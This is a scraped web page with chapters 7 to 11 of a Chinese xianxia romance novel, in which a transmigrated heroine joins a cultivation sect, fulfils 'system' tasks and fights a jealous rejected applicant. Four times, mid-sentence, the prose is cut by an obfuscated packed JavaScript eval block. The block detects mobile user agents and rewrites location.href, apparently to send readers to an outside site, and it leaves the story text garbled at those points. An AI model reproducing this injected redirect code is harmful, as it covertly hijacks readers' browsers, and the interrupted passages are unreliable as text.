《反派不想我对男主告白》 7. 第 7 章 “阮清木,木系单灵根,通过考核,已归为云霄宗内门弟子,师从宁雪辞。” 话音一落,一时间整个映晖台上下都引发了不小的骚动,人群直接往阮清木这方位的台侧靠拢,她回头看向身后的少年,他却只笑着,抬手示意阮清木可以跟着他身后的另一位弟子离开了。 “炎昀,可要再确认一番?”一旁的女弟子开口阻拦,她打量着阮清木,素裳白钗,与台下面那些世家修行的弟子相较,阮清木像个小门小户出来的。 炎昀漠然地扫了一眼质疑她的女弟子,“怎么?今日测的弟子少说也有百余人,这么多人你都不曾开口,是偏对这位姑娘以貌取人?” 未等那质疑的女弟子再开口,炎昀直接叫起下一位台下弟子的名字。 身旁另有弟子带阮清木离开映晖台,走之前她又回头看了一眼叫做炎昀的少年。雨夜那次她其实并未看清他的样貌,只记得他个头不高,嗓音特殊的好听。 今日再见他确实不过十三四岁的样子,脸庞上仍带着稚气,但行为谈吐却处处彰显稳重。 但阮清木还是不敢相信,自己居然就这么过了? 是风宴? 那晚炎昀站出来作证时,阮清木就猜测他们二人之间必是有所联系。况且这么会巧合,今日给她测灵根之人又是他。 这个死风宴还说让她自己想办法,吓得她刚才真的差点跑了。 一旁的小弟子忽然搭话道:“姑娘随我去交一下日后在云霄宗的学费和宿费,虽然刚才和你说是宁雪辞师尊的门下,但她其实已经多年没有出关了,应是其他师尊带你。” 阮清木只听见让她交钱那句话。 “……要交多少费用?” 那小弟子笑看了她一眼:“云霄宗是玄虞大陆上实力最强的宗门,自然费用也是要高于其他宗门。一年需十万灵石。” 多少?阮清木怔住,她以为自己听错了。 这是把灵石当欢乐豆了吗? “我没钱,十万更是没有。”阮清木缓过神后坦白道。她穿进来总共才三个月,经过手的灵石都不超过十个。 “额……”那小弟子被阮清木的直言不讳一时搞得说不出话来,他挠挠头,“可是,要是交不了钱,姑娘是没办法在云霄宗修行的。除非可以在云氏的家族族谱上查到名字,云氏的族人是可以不用交钱的。” 说话间他们已走到录名阁前,小弟子接着补充道:“要不姑娘先把宿费交上,不然今晚姑娘连房间都没了。新入门的弟子可多呢,都想多花点钱住好些的单人屋子。” 小弟子边说着就走进了录名阁,去给她登记名册,阮清木想将他拦住的手悬在半空,但他走得太快,人直接走远了。 阮清木:“……” 没钱啊,都说了没钱。 结果过了没一会,小弟子又挠着脑袋出来了,他一脸不好意思:“姑娘,里面已经将你名字登记完了,你的费用也都被结清了。” ? 阮清木和那小弟子面面相觑,她瞪着大眼睛满脸震惊:不是弄错了?重名了?” 小弟子摇头:“没有没有,不会错的,每个弟子登记名册都是一人一册,我核实了好多遍,绝对没有错。” 风宴帮她把这十万灵石都交了?这交易也太值了点吧,太仗义了兄弟。简直是一站式服务,这就是当关系户的感觉吗? 她拿着自己的修士服,手里还有一个云霄宗内门弟子的收费凭证。毕竟十万灵石,肯定是要谨慎一些。阮清木看着上面的落款,最后一行写着——星隐阁。 “这个星隐阁是哪里?”她向小弟子问道。 小弟子道:“云霄宗的众修士寝居按照房间的具体布置分好了等级,像竹胥居、筠风居是大多数弟子会选的房间,费用不高。星隐阁就是那些富家子弟因为住不惯寻常房间,会多出些钱住更奢华的屋子。” 他探头扫了一眼阮清木手中的纸张,接着道:“姑娘是有亲族住在星隐阁吧,应该是姑娘的亲族留过话,把姑娘的费用直接在星隐阁那结清了。” 这么说的话,住在星隐阁的人应该就是风宴。 阮清木对小弟子谢过之后就离开了,她打算先熟悉一下云霄宗。 沿着一路蜿蜒曲折的河谷走着,偶有清风拂起她的衣角,她将乱起的发丝别至耳后。 云霄宗真的比她想象的还要大,单说山脉就层叠起伏,郁郁葱葱。可能是因为地段占据的灵脉极好,阮清木感觉自己身体都变得轻盈了一些。 只是,一直有一道视线盯得她实在是心烦。 从她自录名阁离开之后,就有人在身后跟着她,而且似乎刻意没有隐藏自己的气息,在等她发现。 阮清木不动声色地绕至河沿旁一棵庞大的树后,她的身形本就窄瘦,都不用贴着树干就几乎可以将她完全挡住。 果不其然,当她的人影从那人眼中消失,自另一棵树后倏地闪出一人,朝阮清木躲藏的方向走去。 窸窸窣窣的脚步声响起,仍是没有一点隐藏气息的意思,那人逐渐靠近。 她靠着树干而立,摸出一直随身携带的匕首,思考着该怎么出手才能在看清对方何人的同时确保自己的安全。 脚步声渐渐逼近,人影距她藏身之处仅有一步之遥时,阮清木看清了映在地上的影子,她陡然迎着往前探出身子,一手利落地擒住来人的肩膀,速度快得令对方瞬间惊住,直接被按在树上。 那人“哎哟”一声重重地往后倒去,是方才收徒大会那个和他搭话的周明远。 周明远扶住树干才没摔倒在地,先是被阮清木的突脸吓了一大跳,又险些被她一个身板瘦弱的姑娘推飞,他喘着粗气,缓了好久才缓过神。 “你干嘛鬼鬼祟祟地跟着我?”阮清木问道。 周明远捂着心口,长舒一口气:“我……我看着背影像你又不确定,就跟在你身后走了一会。”差点又一口气没上来,“……你,你这手劲怎么这么大?” 他扶着树缓缓靠着坐下,一脸的愁容,身上雪白的锦袍衣角瞬间被树干擦出污尘,但他没心情在意,撑着脸看着河边。 “我没过考核,没脸回家了。” “这是我第三次来云霄宗的收徒大会了,三次,也是最后一次。” “最后一次。”他神色沉痛。 阮清木离他不远地站着,她瞥了一眼毫无精气神的周明远,没敢吭声,因为她个关系户没资格说话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16128505|180167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 周明远起伏的胸膛逐渐平复了下来,喃喃自语道:“我自小便跟着师父学习道法,放着锦衣玉食的生活都不过,就只跟着师父从早到晚的画符修行,一日不曾落下。虽然师父也说过我资质较那些天才要差一些,可师父一直教我勤能补拙。所以我就没日没夜地修炼,炼到被自己的灵力反噬到吐血都不曾缺过一天。” “可是有用吗?” 还不是连云霄宗的门槛都摸不上。 他问道:“我很差劲吗?实力真的很弱吗?” 阮清木其实很能共情他的感受,那种天生就比别人差了气运的人这辈子都不懂为什么自己明明那么努力了还不是不够,因为差的根本就不是努力,是命。 现如今她明明没有灵根却混进了仙门,别说对人家安慰,她连共情人家的资格都没有。拿了便宜就应该老实地闭嘴。 她摇了摇头:“你不差。” 似乎是对她的回答不满意,周明远冷笑一声:“是吗?”他扭过头斜眼盯着阮清木,“那和你比呢?” 阮清木感受到周明远的情绪,虽然语气上冷静了不少,但他眼中的悲愤分毫不差地落在她的身上。他在找一个情绪的宣泄口,而阮清木则是他想宣泄的对象。 “和我比,你也不差。”阮清木回道。 他似乎是想了想,又道:“是吗?那为何我没通过,你过了?” 周明远怔神地望着远处,不知在寻思什么。 “我时常会想,如若将你们这批通过考核的人都杀了,是不是就能轮到我了?” 阮清木有点后悔沾惹上这么个精神病了。 “方才在映晖台时,你就避而不提自己的灵根和修为。” 周明远缓缓回过头,死盯着阮清木,“为何?是不敢说?” 他逐渐激动起来,退去血色的脸孔也变得狰狞:“你,到底是什么灵根?又是何修为?” 阮清木算是明白他为什么会修炼到吐血反噬了。短短几句话的时间,周明远就好像被夺舍了一般,双目浮现血丝。 虽然她对修行还处于摸索阶段,但周明远这个样子,任任谁看都像是走火入魔了。 而且很有可能仙门将他拒之门外的原因就是这个,他体内灵脉因为修炼过头已变得混乱不堪。 “你为什么不回答?”周明远被她默不作声的样子逼得更怒了,他起身,手中已运起灵力,攻势凌厉直奔着她袭去。 阮清木向后撤去一步,灵力早已与身后的巨树相连,早在她还躲在树后时就提前准备了这一手。 她凝神将地面上盘根错节的树根挑起,周明远此时的注意力全在阮清木身上,根本没看到脚下位置早就被层层树根圈起。 周明远脚下被如藤蔓般的树根猛然缠住,他心下一惊,却反应也十分机敏。攻势瞬间调转方向,灵力将树根斩断。旋即他扶住树干,脚下发力从树根中挣脱,带着杀招的手径直抓向阮清木的脖颈。 几道如刀尖般锐利的树枝悬停在周明远的背后,阮清木几乎没有时间思考,刺下,他死。不刺,死的就是她。 犹豫间,一道湖青色身影闪过,但刀影般的树枝已经狠狠地刺了下来。 来不及收回了。 8. 第 8 章 阮清木没想到会在这种时刻出现系统弹窗。 湖青色身影轻盈得似流水中骤然溅起的水花,映在阮清木的眸中,可下一秒的系统弹窗忽然出现,四周陷入一阵死寂,时间静止。 面板上弹出一行字【男主温疏良已出场】,同时机械系统女声在阮清木脑中响起:“触发恶女任务,宿主需引起温疏良的注意,装柔弱让他一眼记住你。” 面板消失的提示音响起,阮清木方才被周明远逼得猛然倒退几步,但因系统突然出现,所以她一只腿悬在半空,重心全仰在身后。 时停消失,她失去重心向后跌去,那如剑锋般锐利的树枝已失了灵力,恢复如常。眨眼间,周明远的手就抓到了阮清木的脖颈,她脖间陡然一痛。 根本一秒都不用演的,全被系统安排完了。 温疏良扶住她的后腰,身法快到让人看不清动作,一脚便将周明远踢了出去,力度掌握得极好,周明远在地上滚了几圈便失去意识晕死过去。 只是脚下的树根被阮清木搞得乱成一团,温疏良一时竟也被绊了一下,加之跌在他怀中的阮清木,二人就这么交叠地倒在了地上。 阮清木:“……” 这系统简直就是来添乱的! 她慌乱中抬起头,温疏良已撑起半身,“姑娘没伤到吧?” 一张朗目疏眉,庭如满月的脸,像从话本走出一般,活脱脱的正义男主的气场,和云渡珩一样,出场就自带光环。 见阮清木直直盯着他,温疏良歉意地笑了声:“姑娘?” 阮清木这才发觉手背有些灼痛感,方才跌倒时擦出了一片血痕。 想起系统刚出的任务,她低头将魅术施出,声音轻颤:“对不起。” 温疏良注意到她微抖的右手,正轻攥着他的袖边,手背伤口磨得渗出血珠,虽然将头埋得很低,但仍能看见她泛红的眼尾。 看起来是被吓得不轻。 他想安抚一下,正欲伸手轻拍阮清木的背,谁料一只手拦在他面前,修长手指握住阮清木的腕骨,伴随着漠然的声音响起:“师兄出手真是利落啊。” 熟悉的嗓音和腕骨间不容她挣脱的力道,惊得阮清木陡然一颤。 她抬起头,风宴正似笑非笑地望着她,眸低似深潭一般。他一身云锦白袍的修士服,翩然若雪,俯身时挽起的墨发自然垂下,风流蕴藉如水墨丹青,似冬日里忽然沿窗闯入的一枝白梅。 阮清木看着他一时竟说不出话来,怎么每次她用魅术的时候,都会被他看到啊? 他眉梢微挑,将阮清木从温疏良的怀中拉起,眼角余光不经意地从她脖间扫过,瞥见几道惹眼的红痕。 温疏良也起身,“这便是你那个表妹吗?昨日就听珩儿与我提起,没想到会以这种方式和令妹见面。“ 阮清木喉咙一紧,她瞥了眼风宴,正对上也那双也看着她的双眸。 “既然过了考核,为何不回寝居?要是我和师兄没有路过,你不就成了孤魂野鬼了?”风宴居高临下地望着她。 孤魂野鬼……他记性倒是很好。 阮清木仍是一副惶恐的神色,温疏良提她解围道:“自然是因为初到云霄宗,对仙门新奇罢了。只是看样子,姑娘是与那伤你之人认识?” 他们三人这才一同重新注意到在地上躺了多时的周明远。 “只是方才在收徒大会上说过几句话。”阮清木回道,“他没过考核,情绪激动所以出手伤人了。” 温疏良闻言,只点了点头:“最近整个仙门的灵脉都有异常,各修士都多少被影响得灵息混乱,估计他也是受此影响。无妨,我来处理此事,姑娘莫要担心。” 说着他便示意风宴先将她带走。 只是阮清木没动。 因为任务还没完成呢。 手腕还被风宴握着,他轻拽了阮清木一下,但她站在原地踌躇,不肯离开。 温疏良问:“可还有什么事?” “师兄……你要小心,他可能走火入魔了。”阮清木拖延着时间,“他说,曾经没日没夜地修炼导致自己几次吐血被反噬,方才也不过是说了几句话,就变成这副模样了。” 温疏良眉心蹙起:“好,我知晓了。” 他朝周明远走去,结果下一秒衣袖被扯住。 “还有,还有他其实人不坏,只是对仙门的执念太重,加之最近灵脉不稳,所以才被心魔控制。”她拽着温疏良的衣角,小声嘱咐着。 “好,姑娘说的在下都记住了。还有吗?” 阮清木:“没了……” 风宴手中力道加重,想将阮清木拽过来,可是谁料她竟站在原地和他较劲。 这提示音怎么还不响啊! 风宴的耐心显然已经耗尽,他刚上前一步,阮清木瞬间两腿一软,跪坐在地。 她仰头看向温疏良,摸着自己的脖子,“其实我是走不动了,我吓得腿软了,头也晕,脖子也疼……” 快响啊快记住她啊! 见阮清木跪坐在他脚边,温疏良一瞬地迟疑,思量过后,他俯下身来,“既然如此,那在下先带姑娘去药堂吧。” 可他一下秒便被风宴拦住,风宴好整以暇地看着阮清木,淡淡道:“师兄还是先处理要事吧,我带她去就好。” “……” 风宴半蹲下来,竟双手将她抱起。 阮清木觉得自己呼吸都骤停了。 搂在她背后的手依旧像死人一样凉,让她想起那夜在庙中被恶鬼缠身的场面。 眼下这情况和当时比也没什么区别了。 她上半身几近僵直,眸中也掩盖不住的震惊,甚至不知道双手应该放在哪里,鼻间萦绕着风宴身上的冷檀香气。 风宴将她打横抱起后,和温疏良眼神示意了一下便离开了。 温疏良见二人之间的行为和阮清木的反应,不自觉地多看了他们几眼。总感觉怪怪的,这俩人真的是表兄妹吗? 与此同时阮清木的脑中忽然出现系统提示音:“恭喜宿主,任务完成。” “……” 风宴一直将她抱到没人的角落处才将她放下。脚尖触地时,阮清木才反应过来自己刚才好像听见任务成功的提示音了。 她长舒一口气,片刻的寂静后,她又想起身后那视线不曾对她移开半分的风宴。 “你想进云霄宗的目的,就是他吗?” 阮清木不知该如何回答这个问题,其实不太算是,但也有点这个原因。 风宴极轻地笑了一声:“你想做什么与我无关,我也毫不关心。” “留你一命是因为你先前和我说的交易。”他顿了顿,“不是双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我在仙门的学费是师兄你给我交的吗?”阮清木还在发力。 “不是。”轻描淡写的两个字。 “哦,是吗?”阮清木抖了抖手中的纸条,“可是这学费凭证上面的落款是师兄住的星隐阁呢。” “……” “是录名阁他们擅自从我这扣的灵石,交了多少记得把凭证收好,到时候一并还我。”他侧过头,“缺一分都不行。” “师兄好凶……” 阮清木眼睁睁地看见风宴的身子不被人察觉地抖了一下。 “明明知道我没有钱,我拿什么还。不如我现在就回去把这学费退了罢。”她转身佯装就要回去。 一瞬间,那种蚀骨的寒意又出现了,贴着她的脊背,缠住了她的身子。 玩过了。 风宴停下脚步,回过头笑盯着她,似乎真的在等她转身回去。 “不退了,表哥给我费心交学费,我怎么能把它退了呢。” “谢谢表哥师兄~” 风宴:“……” 9. 第 9 章 在云霄宗上课的第一天,何言拉着阮清木在仙孰学堂中的一个角落坐下。 阮清木仍游离在外,心思全不在学堂上。今早上,风宴从她屋子里淡然走出时刚好被何言撞见,被她叽叽咕咕笑了很久。 原本她昨天被风宴送回住处后,很早便歇下了。为了防止自己又莫名其妙地出现在风宴的房间,所以在睡前,她特意把自己的手捆在了床头。 绑的那叫个结结实实。 结果就是清晨一睁眼就看见风宴侧躺在她床上,撑着头正斜眼睨着她。骨节分明的指间把玩着不知何时出现的小白蛇,正怼在她脸旁。 好似觉得她把自己手捆在床上的行为特别愚蠢,他一脸的嘲笑模样。 阮清木:“……”真没招了。 何言坐在她身旁不经意地怼了她一下,她这才回过神来。 原本他们应是按照入学年份来上课的,本不应该和何言在一堂课上出现。但何言今年的仙门考核的成绩不太好,所以她需跟着新生重修一年。如若下次考核还是不行,就要被发配去做外门弟子了。 一下子和原本同期的弟子们分开,何言只好抓着阮清木一起去上课。 至于昨日忽然发了狂对阮清木出手的周明远,云霄宗先暂将他安排做了外门弟子。 何言同她讲,虽然他确有走火入魔的倾向,但不至于无法自控,归根结底还是因为仙门近期灵脉异常。既然是仙门责任更大,便将他留下且做个外门弟子。 云霄宗在玄虞州的东境日出之地,灵脉如群山般环绕,原本一直风平浪静,但近有风声说仙门地下有棵万年神树上的灵息有所异变,才导致云霄宗上下灵脉都混乱不堪。 阮清木懵懂听着,忍不住打断:“你这是云霄宗的情报站吗?什么消息都会从你这过一手?” 何言没否认地笑了笑,颇为得意:“算是吧。” 离她们较远的长老在台上授课,阮清木分神地听着。那长老身着雪白的宽大袖袍,周身还笼罩一层金色流光,应是用了某种传声术法,即使相隔很远,每个弟子也能听清他的声音。 讲的内容是教他们学习如何挑选出自己的本命剑,大多数的修士会寻求珍世奇材,专门铸造一把。当然也有人愿意花重金直接求世间名剑,作为己用。 长老自顾自言道:“只不过要想更好地与自己的剑融合,让它成为你的本命剑,还是自己亲自打造一把更为合适。” “你知道我们仙门剑术第一是谁吗?”何言凑了过来,贴在她耳边问道。 阮清木思量一瞬,“温疏良?” 何言忽然来了精神:“你喜欢他?” “怎么就突然喜欢他了?”阮清木倏地一惊,差点溢出冷汗来。 “那你为什么猜他呀?”何言双眸有神地看着她。 他不是龙傲天男主吗?阮清木揉了揉额间,龙傲天男主是剑术第一没什么问题啊。 “是宁雪辞。”看她也猜不出来,何言索性直接说了。 阮清木对这个名字很是熟悉,“就是我们那位师尊?” 何言摇了摇头,压低了声音:“其实不然,现如今只是挂名罢了。早年时宁雪辞和祝奇徽因谁是剑术第一争了很久,直到宁雪辞忽然对外宣称要闭关,就再也没出来过,几十年来都在专注于自己的破境修行。” “据说就连在仙门待了十年以上的修士都没见过宁雪辞一眼。” “但我觉得,宁雪辞应该更胜一筹。” 阮清木:“为什么?不是都没见过他本人吗?” 何言:“直觉,这个名字更讨我喜欢。” 此时,位于前排的长老突然朝阮清木这边投来视线,何言立马识趣噤声,二人各自分开。 阮清木沿桌撑起下巴,目光扫见仙孰学堂外的花海,有一搭没一搭地听着前面长老的讲学。 长老提到了五行灵根,阮清木留神仔细听了一下。 天地于混沌之时生于五行,至此天地之间自然循环,相生相克。众生自诞生之时,皆具五行之性,是谓为五灵根。但因各人之间悟性不同,有人会悟出与自己本命最为契合的元素,进而将其发展为极致。 单灵根的修士之所以被认为天资卓越者,也是因为这些人比常人更了解自己的灵息,能尽展所长。 通俗讲就是单灵根的修士身上也是五行皆全,只不过将一种元素开发到了极致。 阮清木更好奇像她这种木头的构造是什么样的。 一旁的何言正埋头奋笔疾书地抄记着,也不知她面前那个本子是什么时候掏出来的,神色异常得专注。 只是这么基础的内容,她应该早就知晓,有必要记到这种程度吗? 阮清木好奇地瞥了一眼。 【云渡珩如一叶柳枝般倒在地上,炎昀几分薄凉地将手抚在她的身上,“女人,你早晚会是我的。”云渡珩眼中带泪一巴掌扇了过去,炎昀却将另一边脸凑了过去,“再来。”……】 ? 炎昀……那不是测他灵根,雨夜中又帮她做伪证的少年吗。 当阮清木反应过来自己看了什么的时候已经来不及了。 察觉到阮清木凑过来的身子,何言将本子直接放到她面前,“要看吗?” “这什么乱七八糟的?”阮清木抬眼见长老没注意到这边,直接将话本推了回去。 何言啧了一声:“大惊小怪的,其他人找我借阅还得花钱呢,这是创作。” 她将话本拿过去接着上一段继续写了,满眼都是最自己创作的欣赏。 又过了许久,学堂内的弟子都纷纷起身离开,阮清木才发觉这节课已经结束了。刚要跟着众人一起离开,何言一把将她拉住,“等一下,来灵感了,等我写完这段咱们再走。” 阮清木只好又坐了回去,她回忆起炎昀的样貌,不过才十三四岁的小孩子,和云渡珩…… “炎昀这年龄不合适吧?”她小声道。 “你以为他多大?”何言睨了她一眼。 “十三四?” 何言摇了摇头,“他比较特殊,是灵族,也就是说他的真身不是人,是活了百年的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16128507|180167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只灵兽,当年是被云渡珩捡回来的。至于现在这个样貌嘛……”她摇了摇头,“我也不知道他为何要以孩童的样子示人。” 灵族,那不是同她一样吗。她指尖不经意地敲着桌边。 仙孰学堂两侧是长廊,偶尔来往几个修士,绕过一大片花海便是个巨大的水塘,水塘之上是两座如高台般的水阁。 水阁中一道熟悉的颀长身影落于阮清木的眸中。 风宴一身利落的雪白衣衫,不知道为何明明就是普通的修士服,但他穿白衣却格外的惹眼,腰间淡蓝色的束腰将他的劲瘦的腰身勾勒得恰到好处。 阮清木想到他总是把玩的小白蛇。 莫非他的真身就是一条白蛇? 风宴在远处的水阁中望着她,察觉到视线交接,他微微侧头。他好像也很喜欢侧头这个动作,那种如同动物般下意识的动作。 不知道他在这里看了她多久了。 一旁的何言头也没抬地忽然开口:“我觉得温疏良行。” “嗯?”阮清木疑惑,“什么行?” 何言手中奋笔疾书没停下来半分,“我是说,我觉得你和温疏良比较配。” 真是莫名其妙的,阮清木反应了一会,“你不会是在暗示我,下一本要把我当主角去写吧?” 何言笑而不语,阮清木看着她那勾起的嘴角无奈地回过头。 风宴仍在远处望着她。 “不过你方才猜的也没什么大问题。虽然温疏良现在不是第一,但那是迟早的事,现下云霄宗属他名声最大。”她顿了顿,“他的修为已经比很多还在授课的长老们要高了,如此年轻有为。” “而且他剑术不仅厉害,招式还漂亮,有人说他都是半夜偷练,故意练出来的。” 她又补了一句:“比你那个表哥强多了。”表哥二字还刻意拖了长音。 阮清木简直摸不清头脑,“怎么就突然扯到这了?” 她这才注意到风宴的肩头好像堆了一层落花,应是站在水阁中有一段时间了。 “风宴无心修炼啊,他虽然资质很强,但平日在仙门中与那些刻苦的弟子相比,风宴简直算是不学无术,整日游手好闲,对自己的修为毫不上心。” 是吗?阮清木也将头轻轻歪至一侧,和远处的风宴遥遥相望,仿佛在回应他。 “他剑道也不行,那剑让他用的,小孩拿节木棍都比他耍得好。” 阮清木差点笑出声来,泠风吹过,落花纷飞,风宴用来束发的湖青色发带被吹至脖间,似乎在疑惑阮清木在笑什么,他眉心蹙起。 “可以这么说,他在剑术方面不仅没有天赋,还不勤加练习,哪有剑修像他那样,没啥前途。” 阮清木想起初遇那晚,他于破庙之中外泄四散开来的灵压。 剑术很烂,不学无术吗? 她唇齿开合,笑对着风宴无声开口:“我、不、信。” 胸口处的半颗心好似一瞬间漏跳了一拍。风起时,旋于空中的落花大片砸下,遮挡住风宴,下一秒他人影已不见踪迹。 10. 第 10 章 阮清木一直陪何言创作她的小说,直到下半日才从仙孰学堂中出来。 刚穿过学堂旁的长廊,就有两个如花似玉的女修士对着何言围了上来。三人之间彼此眼神示意,何言将方才赶出来的话本子塞到二人的手中,对方一人掏出一颗灵石交于何言。 “到明日傍晚前还我哈。”何言嘱咐道。 “这还用你说,走了。”其中一位女修士扬了扬眉毛,和另一位结伴匆匆离开。 “真有人花钱看?”阮清木在一旁看着这几人的操作不禁叹道。 “骗你干嘛?”何言收好灵石,“这都是上个月就来找我排的,现在才轮到。” 何言带她逛着云霄宗,顺便去一趟藏书阁借几本参考文献。一路上偶有几名修士从她们身旁经过,总会紧盯阮清木几眼。 “你被温疏良英雄救美了,这事稍微传开了一些。”何言解释道,“等我下一本写到你,你会更红的。” 阮清木:……可以婉拒吗? 滴的一声,系统声再次响起。她皱起眉,这任务来得也太勤了点。 面板上给她显示了一个位置,任务是让她送温疏良一副剑穗以谢前番的救命之恩。正疑惑要上哪去搞个剑穗,手中蓦然闪烁点点灵光,一副墨青色的剑穗落于她的手中。 样式略为普通,盘在剑穗上的长结甚至有些凌乱,看起来像是临时赶制,且手工水平还很一般。 阮清木反应过来,好像就是故意要表现出是她手作的样子。 可这未免太细节了点…… 扫了一眼面板上的位置,是洵青境。这位置有些耳熟,想起来上次和云渡珩碰面时曾听她提过,若有事,可去洵青境找她。 系统这是要让她当着云渡珩的面把剑穗送出…… 且洵青境与何言要去的藏书阁是两个方向,正思索着,何言一眼就瞥见她握在手中的剑穗。 “这东西哪里来的?”她立马来了兴致,“要给谁呀?”而后她又想起阮清木方才在她身侧张望的模样。 “哦~给你温师兄的吧,对他略表言谢之情。”何言一副她都懂的神情。 阮清木实在是怕了她这八卦的劲,她连忙正色道:“不是。” 反正温疏良能不能收下都不一定,就算收了也必然不会戴出来,她随便说个人又有谁会知道。 再者她实在是不想成为何言的写作素材。 “是给我表哥的,我方才在前面那街角看见他身影,本以为能与他对面碰上直接交给他,谁承想他又转个方向走远了。” 她悄然收起剑穗,柔声道:“我先去追我表哥了。” 何言欲要再说些什么,阮清木灵巧地转身提起裙子就小跑了起来。 表哥这块砖很多时候还是蛮好用的。 面板上显示着洵青境的位置,她往回走着,还要再重新穿过学堂的那条长廊。 此时已不是上课的时间,学堂内空无一人。 两旁的高树被风吹得簌簌作响,她衣摆飘荡,花海中几瓣落花垂落到她肩头,忽让阮清木想起风宴方才与她隔着花海相望的样子。 说不定他现在又躲在什么地方看着她,反正每次她要去做任务,都会被他撞见。 她撩起悬挂在上的帘挂,刚踏上青石阶,刹那间一股灵压袭来,空间骤然扭曲。 阮清木陡然心中一紧,连忙停下脚步,可面前的长廊已然消失不见,这股灵压一时将她挤迫得难以呼吸。 再回过神来,已身处于一片空旷死寂的无边空地。 阮清木怔在原地,神色骤变,她谨慎地环视一周,这无边的空地之上死一般沉寂,方才掉过在她肩头的落花无声地滑落,坠在地上转眼间便消散。 她被拉入了另一个空间。 阮清木尝试往前走了几步,但在此空间之中根本无法分辨任何方向,四周仿佛没有尽头般无限延伸。 会是谁? 她刚与何言分开便被人拉入这个结界之中,显然对方早就盯上了她,就等着她独自一人的时机下手。 来云霄宗不过短短数日,她唯一“得罪”过的人,就是那日对着她忽然发疯的周明远。 “真是个废物。” “你果然很弱,实力差到如此地步,连这种程度的结界都无法抽身。”一声嗤笑,周明远自虚空之中现身在阮清木的身后。 阮清木回身,正看见周明远拧眉狠厉地盯着她,眼底间全是鄙夷和怒意。 系统提醒她任务进度的提示音在脑中响起,面板上洵青境的位置开始闪烁,大概是温疏良即将移身去别处,系统在催促她。 “我好像并没有招惹你,为何一直抓着我不放?”阮清木问道。 她对自己的灵力尚且都掌握得不太熟练,更不要说破阵这种高阶的术法。但周明远挂于脸上的神色,看起来也不像会放她走的样子。 可是要没有时间了。 周明远扯了扯嘴角,“放心,我不会杀你的,毕竟录名阁已将你记为云霄宗的内门弟子。若你死了,云霄宗必会追查,于我没有好处。” 他踱步走来,自体内散开的灵压逐渐逼近阮清木,“只要你能证明自己实力在我之上,我便就此作罢。” “或者你实在不想与我较量,那就让我一探你的灵根,如若天资也远超于我,我立刻就滚,绝不多言。” 他手中灵力萦绕,“如何?你选一个就好。” 面板上洵青境位置的亮光更加频繁地闪烁,阮清木有些急躁,“你先等我半个时辰行吗?我真的有急事。” 等她先把这个破剑穗送了随你怎么闹行不行。 周明远的脸上更加鄙夷,一副就算你想逃怎么也不想个好点的理由的表情,他嗤笑道:“没有这个选项。” “若换做普通修士,面对这种低阶术法的结界,随便掐个诀就能轻松破解,真不知道你背地里使了什么勾当,竟能让云霄宗收下你这种废物。” 凛冽的气氛中,阮清木冷冷地看着他。 上次如果不是系统突然弹出时停,搞得她灵力被阻断,才不得不接下他那带着杀招的一掌,导致她现在扭动脖子时还扯着疼。若没有温疏良出现,说不准真被他杀了。 现下又是这幅疯子模样,一会难保不会对她出手。 系统音还在警告着,她心中早已烦躁到了极点。但显然眼下没有任何一个方法能让她立刻逃出这个结界。 既然走不了。 “只有这两个选项?”她问道。 他语气嚣张得开口:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他冷笑着,将手向阮清木的后颈探去。 任务失败的提示音自阮清木脑中响起,她心如死灰地闭上双眼,下一秒她爆发出的灵力直接锤在周明远的胸口,旋即猛地掐住了周明远的脖子,掌间狠狠发力。 窒息感猛然间袭来,周明远立刻结出几层防御术法,可几乎一瞬间他的防御术竟然全破。 怎么……可能! 强大的灵压自阮清木体内轰然四散开来,周围平地袭起飓风。 阮清木面无表情地抡起他径直向后丢去,周明远重重地摔在无形的屏障之上,跌落在地。脏腑因被强大的灵力挤迫得受了重创,他呕出一口血来。 不……不对。 他不可置信地在地上蜷缩着,不可能,她方才出手的灵压远远在他之上,她的修为实力……是碾压于他! 可是,可是怎么可能? 甚至……是他十年,五十年,百年都追不上的程度。 阮清木无力地垂下眼睫,盯着面板上赫然提示着四个字。 “任务失败” 11. 第 11 章 周明远胸间猛地一痛,又是一口血呛出,他倒在地上大口喘息着。 眼前还在不断地闪回方才阮清木出手的动作,没有什么章法可言,完全就是对他随意出招,可是那一瞬间迸发出的灵力,实在太恐怖了。 这般修为,杀他简直如碾蝼蚁。 阮清木无言地盯着“任务失败”四个字,强压下心中的怒意,瞥了一眼躺在地上差点断气的周明远,她只好先将面板收回。 